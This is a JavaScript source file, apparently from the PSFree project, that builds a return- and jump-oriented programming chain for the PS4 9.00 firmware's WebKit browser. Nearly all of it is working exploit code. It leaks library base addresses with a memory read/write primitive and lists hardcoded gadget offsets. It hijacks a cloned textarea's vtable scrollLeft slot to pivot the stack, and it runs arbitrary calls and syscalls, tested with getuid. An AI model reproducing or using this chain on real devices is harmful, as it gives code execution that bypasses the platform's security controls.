Kameleon
683 lines
21 KiB
JavaScript
683 lines
21 KiB
JavaScript
/* Copyright (C) 2024 anonymous
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This file is part of PSFree.
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PSFree is free software: you can redistribute it and/or modify
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it under the terms of the GNU Affero General Public License as
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published by the Free Software Foundation, either version 3 of the
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License, or (at your option) any later version.
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PSFree is distributed in the hope that it will be useful,
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but WITHOUT ANY WARRANTY; without even the implied warranty of
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MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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GNU Affero General Public License for more details.
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You should have received a copy of the GNU Affero General Public License
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along with this program. If not, see <https://www.gnu.org/licenses/>. */
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// by janisslsm (John) from ps4-dev discord
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import * as config from '../config.mjs';
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import { Int } from '../module/int64.mjs';
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import { debug_log, die } from '../module/utils.mjs';
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import { Addr, mem } from '../module/mem.mjs';
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import { KB, MB } from '../module/constants.mjs';
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import { ChainBase } from '../module/chain.mjs';
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import {
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make_buffer,
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find_base,
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get_view_vector,
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resolve_import,
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init_syscall_array,
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} from '../module/memtools.mjs';
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import * as rw from '../module/rw.mjs';
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import * as o from '../module/offset.mjs';
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const origin = window.origin;
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const port = '8000';
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const url = `${origin}:${port}`;
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const syscall_array = [];
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const offset_textarea_impl = 0x18;
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// WebKit offsets of imported functions
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const offset_wk_stack_chk_fail = 0x178;
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const offset_wk_memcpy = 0x188;
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// libSceLibcInternal offsets
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const offset_libc_setjmp = 0x24F04;
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const offset_libc_longjmp = 0x29448;
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// see the disassembly of setjmp() from the dump of libSceLibcInternal.sprx
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//
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// int setjmp(jmp_buf)
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// noreturn longjmp(jmp_buf)
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//
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// This version of longjmp() does not take another argument to be used as
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// setjmp()'s return value. Offset 0 of the jmp_buf will be the restored
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// rax. Change it if you want a specific value from setjmp() after the
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// longjmp().
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const jmp_buf_size = 0xc8;
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let setjmp_addr = null;
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let longjmp_addr = null;
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// libSceNKWebKit.sprx
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let libwebkit_base = null;
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// libkernel_web.sprx
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let libkernel_base = null;
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// libSceLibcInternal.sprx
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let libc_base = null;
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// Chain implementation based on Chain803. Replaced offsets that changed
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// between versions. Replaced gadgets that were missing with new ones that
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// won't change the API.
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// gadgets for the JOP chain
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//
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// When the scrollLeft getter native function is called on PS4 9.00, rsi is the
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// JS wrapper for the WebCore textarea class.
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const jop1 = `
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mov rdi, qword ptr [rsi + 0x20]
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mov rax, qword ptr [rdi]
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call qword ptr [rax + 0x28]
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`;
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// Since the method of code redirection we used is via redirecting a call to
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// jump to our JOP chain, we have the return address of the caller on entry.
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//
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// jop1 pushed another object (via the call instruction) but we want no extra
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// objects between the return address and the rbp that will be pushed by jop3
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// later. So we pop the return address pushed by jop1.
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//
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// This will make pivoting back easy, just "leave; ret".
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const jop2 = `
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pop rsi
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jmp qword ptr [rax + 0x1c]
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`;
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// rbp is now pushed, any extra objects pushed by the call instructions can be
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// ignored
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const jop3 = `
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push rbp
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mov rbp, rsp
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mov rax, qword ptr [rdi]
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call qword ptr [rax + 0x58]
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`;
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const jop4 = `
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mov rdx, qword ptr [rax + 0x18]
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mov rax, qword ptr [rdi]
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call qword ptr [rax + 0x10]
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`;
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const jop5 = `
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push rdx
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jmp qword ptr [rax]
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`;
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const jop6 = 'pop rsp; ret';
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// the ps4 firmware is compiled to use rbp as a frame pointer
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//
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// The JOP chain pushed rbp and moved rsp to rbp before the pivot. The chain
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// must save rbp (rsp before the pivot) somewhere if it uses it. The chain must
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// restore rbp (if needed) before the epilogue.
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//
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// The epilogue will move rbp to rsp (restore old rsp) and pop rbp (which we
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// pushed earlier before the pivot, thus restoring the old rbp).
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//
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// leave instruction equivalent:
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// mov rsp, rbp
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// pop rbp
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const rop_epilogue = 'leave; ret';
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const push_rdx_jmp = `
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push rdx
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jmp qword ptr [rax]
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`;
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const webkit_gadget_offsets = new Map(Object.entries({
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'pop rax; ret' : 0x0000000000051a12,
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'pop rbx; ret' : 0x00000000000be5d0,
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'pop rcx; ret' : 0x00000000000657b7,
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'pop rdx; ret' : 0x000000000000986c,
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'pop rbp; ret' : 0x00000000000000b6,
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'pop rsi; ret' : 0x000000000001F4D6,
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'pop rdi; ret' : 0x0000000000319690,
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'pop rsp; ret' : 0x000000000004e293,
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'pop r8; ret' : 0x00000000001a7ef1,
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'pop r9; ret' : 0x0000000000422571,
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'pop r10; ret' : 0x0000000000e9e1d1,
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'pop r11; ret' : 0x0000000000620df9,
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'pop r12; ret' : 0x000000000085ec71,
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'pop r13; ret' : 0x00000000001da461,
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'pop r14; ret' : 0x000000000001f4d5,
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'pop r15; ret' : 0x000000000031968f,
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'ret' : 0x0000000000000032,
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'leave; ret' : 0x000000000008db5b,
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'neg rax; and rax, rcx; ret' : 0x00000000019771c4,
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'adc esi, esi; ret' : 0x000000000148874e,
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'add rax, rdx; ret' : 0x00000000003f662c,
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'add rcx, rsi; and rdx, rcx; or rax, rdx; ret' : 0x0000000001b1ed66,
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'pop rsi; jmp qword ptr [rax + 0x1c]' : 0x00000000021fce7e,
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'mov qword ptr [rdi], rsi; ret' : 0x0000000000040300,
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'mov rax, qword ptr [rax]; ret' : 0x00000000000241cc,
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'mov qword ptr [rdi], rax; ret' : 0x000000000000613b,
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'mov rdx, rcx; ret' : 0x000000000157fe71,
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[push_rdx_jmp] : 0x00000000028bd332,
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[jop1] : 0x0000000000f2c778,
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[jop2] : 0x00000000021fce7e,
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[jop3] : 0x0000000000683800,
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[jop4] : 0x0000000000303906,
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[jop5] : 0x00000000028bd332,
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[jop6] : 0x000000000004e293,
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}));
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const libc_gadget_offsets = new Map(Object.entries({
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'neg rax; ret' : 0x00000000000d3f03,
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'mov rdx, rax; xor eax, eax; shl rdx, cl; ret' : 0x00000000000cefd9,
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'mov qword ptr [rsi], rcx; ret' : 0x00000000000cf982,
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'setjmp' : offset_libc_setjmp,
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'longjmp' : offset_libc_longjmp,
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}));
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const gadgets = new Map();
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function get_bases() {
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const textarea = document.createElement('textarea');
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const webcore_textarea = mem.addrof(textarea).readp(offset_textarea_impl);
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const textarea_vtable = webcore_textarea.readp(0);
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const libwebkit_base = find_base(textarea_vtable, true, true);
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const stack_chk_fail_import =
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libwebkit_base
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.add(offset_wk_stack_chk_fail)
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;
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const stack_chk_fail_addr = resolve_import(stack_chk_fail_import);
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const libkernel_base = find_base(stack_chk_fail_addr, true, true);
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const memcpy_import = libwebkit_base.add(offset_wk_memcpy);
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const memcpy_addr = resolve_import(memcpy_import);
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const libc_base = find_base(memcpy_addr, true, true);
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return [
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libwebkit_base,
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libkernel_base,
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libc_base,
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];
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}
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function init_gadget_map(gadget_map, offset_map, base_addr) {
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for (const [insn, offset] of offset_map) {
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gadget_map.set(insn, base_addr.add(offset));
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}
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}
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class Chain900Base extends ChainBase {
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constructor() {
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super();
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// for conditional jumps
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this._clean_branch_ctx();
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this.flag = new Uint8Array(8);
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this.flag_addr = get_view_vector(this.flag);
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this.jmp_target = new Uint8Array(0x100);
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rw.write64(this.jmp_target, 0x1c, this.get_gadget(push_rdx_jmp));
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rw.write64(this.jmp_target, 0, this.get_gadget('pop rsp; ret'));
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// for save/restore
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this.is_saved = false;
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const jmp_buf_size = 0xc8;
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this.jmp_buf = new Uint8Array(jmp_buf_size);
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this.jmp_buf_p = get_view_vector(this.jmp_buf);
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}
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// sequence to pivot back and return
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push_end() {
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this.push_gadget(rop_epilogue);
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}
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check_is_branching() {
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if (this.is_branch_ctx) {
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throw Error('chain is still branching, end it before running');
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}
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}
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push_value(value) {
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super.push_value(value);
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if (this.is_branch_ctx) {
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this.branch_position += 8;
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}
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}
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_clean_branch_ctx() {
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this.is_branch_ctx = false;
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this.branch_position = null;
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this.delta_slot = null;
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this.rsp_slot = null;
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this.rsp_position = null;
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}
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clean() {
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super.clean();
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this._clean_branch_ctx();
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this.is_saved = false;
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}
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// Use start_branch() and end_branch() to delimit a ROP chain that will
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// conditionally execute. rax must be set accordingly before the branch.
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// rax == 0 means execute the conditional chain.
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//
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// example that always execute the conditional chain:
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// chain.push_gadget('mov rax, 0; ret');
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// chain.start_branch();
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// chain.push_gadget('pop rbx; ret'); // always executed
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// chain.end_branch();
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start_branch() {
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if (this.is_branch_ctx) {
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throw Error('chain already branching, end it first');
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}
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// clobbers rax, rcx, rdi, rsi
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//
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// u64 flag = 0 if -rax == 0 else 1
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// *flag_addr = flag
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this.push_gadget('pop rcx; ret');
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this.push_constant(-1);
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this.push_gadget('neg rax; ret');
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this.push_gadget('pop rsi; ret');
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this.push_constant(0);
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this.push_gadget('adc esi, esi; ret');
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this.push_gadget('pop rdi; ret');
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this.push_value(this.flag_addr);
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this.push_gadget('mov qword ptr [rdi], rsi; ret');
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// clobbers rax, rcx, rdi
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//
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// rax = *flag_addr
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// rcx = delta
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// rax = -rax & rcx
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// *flag_addr = rax
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this.push_gadget('pop rax; ret');
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this.push_value(this.flag_addr);
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this.push_gadget('mov rax, qword ptr [rax]; ret');
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// dummy value, overwritten later by end_branch()
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this.push_gadget('pop rcx; ret');
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this.delta_slot = this.position;
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this.push_constant(0);
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this.push_gadget('neg rax; and rax, rcx; ret');
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this.push_gadget('pop rdi; ret');
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this.push_value(this.flag_addr);
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this.push_gadget('mov qword ptr [rdi], rax; ret');
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// clobbers rax, rcx, rdx, rsi
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//
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// rcx = rsp_position
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// rsi = rsp
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// rcx += rsi
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// rdx = rcx
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//
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// dummy value, overwritten later at the end of start_branch()
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this.push_gadget('pop rcx; ret');
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this.rsp_slot = this.position;
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this.push_constant(0);
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this.push_gadget('pop rsi; ret');
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this.push_value(this.stack_addr.add(this.position + 8));
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// rsp collected here, start counting how much to perturb rsp
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this.branch_position = 0;
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this.is_branch_ctx = true;
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this.push_gadget('add rcx, rsi; and rdx, rcx; or rax, rdx; ret');
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this.push_gadget('mov rdx, rcx; ret');
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// clobbers rax
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//
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// rax = *flag_addr
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this.push_gadget('pop rax; ret');
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this.push_value(this.flag_addr);
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this.push_gadget('mov rax, qword ptr [rax]; ret');
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// clobbers rax
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//
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// rax += rdx
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// new_rsp = rax
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this.push_gadget('add rax, rdx; ret');
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// clobbers rdi
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//
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// for debugging, save new_rsp to flag_addr so we can verify it later
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this.push_gadget('pop rdi; ret');
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this.push_value(this.flag_addr);
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this.push_gadget('mov qword ptr [rdi], rax; ret');
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// clobbers rdx, rcx
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//
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// rdx = rax
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this.push_gadget('pop rcx; ret');
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this.push_constant(0);
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this.push_gadget('mov rdx, rax; xor eax, eax; shl rdx, cl; ret');
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// clobbers rax, rdx, rsi, rsp
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//
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// rsp = rdx
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this.push_gadget('pop rax; ret');
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this.push_value(get_view_vector(this.jmp_target));
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this.push_gadget('pop rsi; jmp qword ptr [rax + 0x1c]');
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this.push_constant(0); // padding for the push
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this.rsp_position = this.branch_position;
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rw.write64(this.stack, this.rsp_slot, new Int(this.rsp_position));
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}
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end_branch() {
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if (!this.is_branch_ctx) {
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throw Error('can not end nonbranching chain');
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}
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const delta = this.branch_position - this.rsp_position;
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rw.write64(this.stack, this.delta_slot, new Int(delta));
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this._clean_branch_ctx();
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}
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// clobbers rax, rdi, rsi
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push_save() {
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if (this.is_saved) {
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throw Error('restore first before saving again');
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}
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this.push_call(this.get_gadget('setjmp'), this.jmp_buf_p);
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this.is_saved = true;
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}
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// Force a push_restore() if at runtime you can ensure the save/restore
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// pair line up.
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push_restore(is_force=false) {
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if (!this.is_saved && !is_force) {
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throw Error('save first before restoring');
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}
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// modify jmp_buf.rsp
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this.push_gadget('pop rax; ret');
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const rsp_slot = this.position;
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// dummy value, overwritten later at the end of push_restore()
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this.push_constant(0);
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this.push_gadget('pop rdi; ret');
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this.push_value(this.jmp_buf_p.add(0x38));
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this.push_gadget('mov qword ptr [rdi], rax; ret');
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// modify jmp_buf.return_address
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this.push_gadget('pop rax; ret');
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this.push_value(this.get_gadget('ret'));
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this.push_gadget('pop rdi; ret');
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this.push_value(this.jmp_buf_p.add(0x80));
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this.push_gadget('mov qword ptr [rdi], rax; ret');
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this.push_call(this.get_gadget('longjmp'), this.jmp_buf_p);
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// Padding as longjmp() pushes the rdi and return address in the
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// jmp_buf at the target rsp.
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this.push_constant(0);
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this.push_constant(0);
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const target_rsp = this.stack_addr.add(this.position);
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rw.write64(this.stack, rsp_slot, target_rsp);
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this.is_saved = false;
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}
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push_get_retval() {
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this.push_gadget('pop rdi; ret');
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this.push_value(this.retval_addr);
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this.push_gadget('mov qword ptr [rdi], rax; ret');
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}
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call(...args) {
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if (this.position !== 0) {
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throw Error('call() needs an empty chain');
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}
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this.push_call(...args);
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this.push_get_retval();
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this.push_end();
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this.run();
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this.clean();
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return this.return_value;
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}
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syscall(...args) {
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if (this.position !== 0) {
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throw Error('syscall() needs an empty chain');
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}
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this.push_syscall(...args);
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this.push_get_retval();
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this.push_end();
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this.run();
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this.clean();
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return this.return_value;
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}
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}
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// Chain for PS4 9.00
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class Chain900 extends Chain900Base {
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constructor() {
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super();
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// sizeof JSC:JSObject, the JSCell + the butterfly field
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const js_size = 0x10;
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// sizeof WebCore::JSHTMLTextAreaElement, subclass of JSObject
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const js_ta_size = 0x20;
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// start of the array of inline properties (JSValues)
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const offset_js_inline_prop = 0x10;
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// Sizes may vary between webkit versions so we just assume a size
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// that we think is large enough for all of them.
|
|
const vtable_size = 0x1000;
|
|
const webcore_ta_size = 0x180;
|
|
|
|
const ta_clone = {};
|
|
this.ta_clone = ta_clone;
|
|
const clone_p = mem.addrof(ta_clone);
|
|
const ta_p = mem.addrof(rop_ta);
|
|
|
|
for (let i = js_size; i < js_ta_size; i += 8) {
|
|
clone_p.write64(i, ta_p.read64(i));
|
|
}
|
|
|
|
const webcore_ta = ta_p.readp(offset_textarea_impl);
|
|
const m_wrapped_clone = new Uint8Array(
|
|
make_buffer(webcore_ta, webcore_ta_size)
|
|
);
|
|
this.m_wrapped_clone = m_wrapped_clone;
|
|
|
|
// Replicate the vtable as much as possible or else the garbage
|
|
// collector will crash. It uses functions from the vtable.
|
|
//
|
|
// There is no need to restore the original vtable pointer later since
|
|
// it points to a copy with only offset 0x1c8 changed. The scrollLeft
|
|
// getter is not used by the GC.
|
|
const vtable_clone = new Uint8Array(
|
|
make_buffer(webcore_ta.readp(0), vtable_size)
|
|
);
|
|
this.vtable_clone = vtable_clone
|
|
|
|
clone_p.write64(
|
|
offset_textarea_impl,
|
|
get_view_vector(m_wrapped_clone),
|
|
);
|
|
rw.write64(m_wrapped_clone, 0, get_view_vector(vtable_clone));
|
|
|
|
clone_p.write64(0, ta_p.read64(0));
|
|
|
|
// 0x1b8 is the offset of the scrollLeft getter native function
|
|
rw.write64(vtable_clone, 0x1b8, this.get_gadget(jop1));
|
|
|
|
// for the JOP chain
|
|
const rax_ptrs = new Uint8Array(0x100);
|
|
const rax_ptrs_p = get_view_vector(rax_ptrs);
|
|
this.rax_ptrs = rax_ptrs;
|
|
|
|
rw.write64(rax_ptrs, 0x28, this.get_gadget(jop2));
|
|
rw.write64(rax_ptrs, 0x1c, this.get_gadget(jop3));
|
|
rw.write64(rax_ptrs, 0x58, this.get_gadget(jop4));
|
|
rw.write64(rax_ptrs, 0x10, this.get_gadget(jop5));
|
|
rw.write64(rax_ptrs, 0, this.get_gadget(jop6));
|
|
// value to pivot rsp to
|
|
rw.write64(rax_ptrs, 0x18, this.stack_addr);
|
|
|
|
const jop_buffer = new Uint8Array(8);
|
|
const jop_buffer_p = get_view_vector(jop_buffer);
|
|
this.jop_buffer = jop_buffer;
|
|
|
|
rw.write64(jop_buffer, 0, rax_ptrs_p);
|
|
|
|
clone_p.write64(offset_js_inline_prop + 8*2, jop_buffer_p);
|
|
}
|
|
|
|
run() {
|
|
this.check_stale();
|
|
this.check_is_empty();
|
|
this.check_is_branching();
|
|
|
|
// jump to JOP chain
|
|
this.ta_clone.scrollLeft;
|
|
}
|
|
}
|
|
const Chain = Chain900;
|
|
|
|
function init(Chain) {
|
|
[libwebkit_base, libkernel_base, libc_base] = get_bases();
|
|
|
|
init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base);
|
|
init_gadget_map(gadgets, libc_gadget_offsets, libc_base);
|
|
init_syscall_array(syscall_array, libkernel_base, 300 * KB);
|
|
debug_log('syscall_array:');
|
|
debug_log(syscall_array);
|
|
Chain.init_class(gadgets, syscall_array);
|
|
}
|
|
|
|
function test_rop(Chain) {
|
|
const jmp_buf = new Uint8Array(jmp_buf_size);
|
|
const jmp_buf_p = get_view_vector(jmp_buf);
|
|
|
|
init(Chain);
|
|
|
|
setjmp_addr = gadgets.get('setjmp');
|
|
longjmp_addr = gadgets.get('longjmp');
|
|
|
|
const chain = new Chain();
|
|
// Instead of writing to the jmp_buf, set rax here so it will be restored
|
|
// as the return value after the longjmp().
|
|
chain.push_gadget('pop rax; ret');
|
|
chain.push_constant(1);
|
|
chain.push_call(setjmp_addr, jmp_buf_p);
|
|
|
|
chain.start_branch();
|
|
|
|
debug_log(`if chain addr: ${chain.stack_addr.add(chain.position)}`);
|
|
chain.push_call(longjmp_addr, jmp_buf_p);
|
|
|
|
chain.end_branch();
|
|
|
|
debug_log(`endif chain addr: ${chain.stack_addr.add(chain.position)}`);
|
|
chain.push_end();
|
|
|
|
// The ROP chain is a noop. If we crashed, then we did something wrong.
|
|
alert('chain run');
|
|
debug_log('test call setjmp()/longjmp()');
|
|
chain.run()
|
|
alert('returned successfully');
|
|
debug_log('returned successfully');
|
|
debug_log('jmp_buf:');
|
|
debug_log(jmp_buf);
|
|
debug_log(`flag: ${rw.read64(chain.flag, 0)}`);
|
|
|
|
const state1 = new Uint8Array(8);
|
|
debug_log('test if rax == 0');
|
|
chain.clean();
|
|
|
|
chain.push_gadget('pop rsi; ret');
|
|
chain.push_value(get_view_vector(state1));
|
|
chain.push_save();
|
|
chain.push_gadget('pop rax; ret');
|
|
chain.push_constant(0);
|
|
|
|
chain.start_branch();
|
|
chain.push_restore();
|
|
|
|
chain.push_gadget('pop rcx; ret');
|
|
chain.push_constant(1);
|
|
chain.push_gadget('mov qword ptr [rsi], rcx; ret');
|
|
chain.push_end();
|
|
|
|
chain.end_branch();
|
|
|
|
chain.push_restore(true);
|
|
chain.push_gadget('pop rcx; ret');
|
|
chain.push_constant(2);
|
|
chain.push_gadget('mov qword ptr [rsi], rcx; ret');
|
|
chain.push_end();
|
|
|
|
chain.run();
|
|
debug_log(`state1 must be 1: ${state1}`);
|
|
if (state1[0] !== 1) {
|
|
die('if branch not taken');
|
|
}
|
|
|
|
const state2 = new Uint8Array(8);
|
|
debug_log('test if rax != 0');
|
|
chain.clean();
|
|
|
|
chain.push_gadget('pop rsi; ret');
|
|
chain.push_value(get_view_vector(state2));
|
|
chain.push_save();
|
|
chain.push_gadget('pop rax; ret');
|
|
chain.push_constant(1);
|
|
|
|
chain.start_branch();
|
|
chain.push_restore();
|
|
|
|
chain.push_gadget('pop rcx; ret');
|
|
chain.push_constant(1);
|
|
chain.push_gadget('mov qword ptr [rsi], rcx; ret');
|
|
chain.push_end();
|
|
|
|
chain.end_branch();
|
|
|
|
chain.push_restore(true);
|
|
chain.push_gadget('pop rcx; ret');
|
|
chain.push_constant(2);
|
|
chain.push_gadget('mov qword ptr [rsi], rcx; ret');
|
|
chain.push_end();
|
|
|
|
chain.run();
|
|
debug_log(`state2 must be 2: ${state2}`);
|
|
if (state2[0] !== 2) {
|
|
die('if branch taken');
|
|
}
|
|
|
|
debug_log('test syscall getuid()');
|
|
chain.clean();
|
|
// Set the return value to some random value. If the syscall worked, then
|
|
// it will likely change.
|
|
const magic = 0x4b435546;
|
|
rw.write32(chain._return_value, 0, magic);
|
|
|
|
const res = chain.syscall('getuid');
|
|
|
|
debug_log(`return value: ${res}`);
|
|
if (res.eq(magic)) {
|
|
die('syscall getuid failed');
|
|
}
|
|
}
|
|
|
|
test_rop(Chain);
|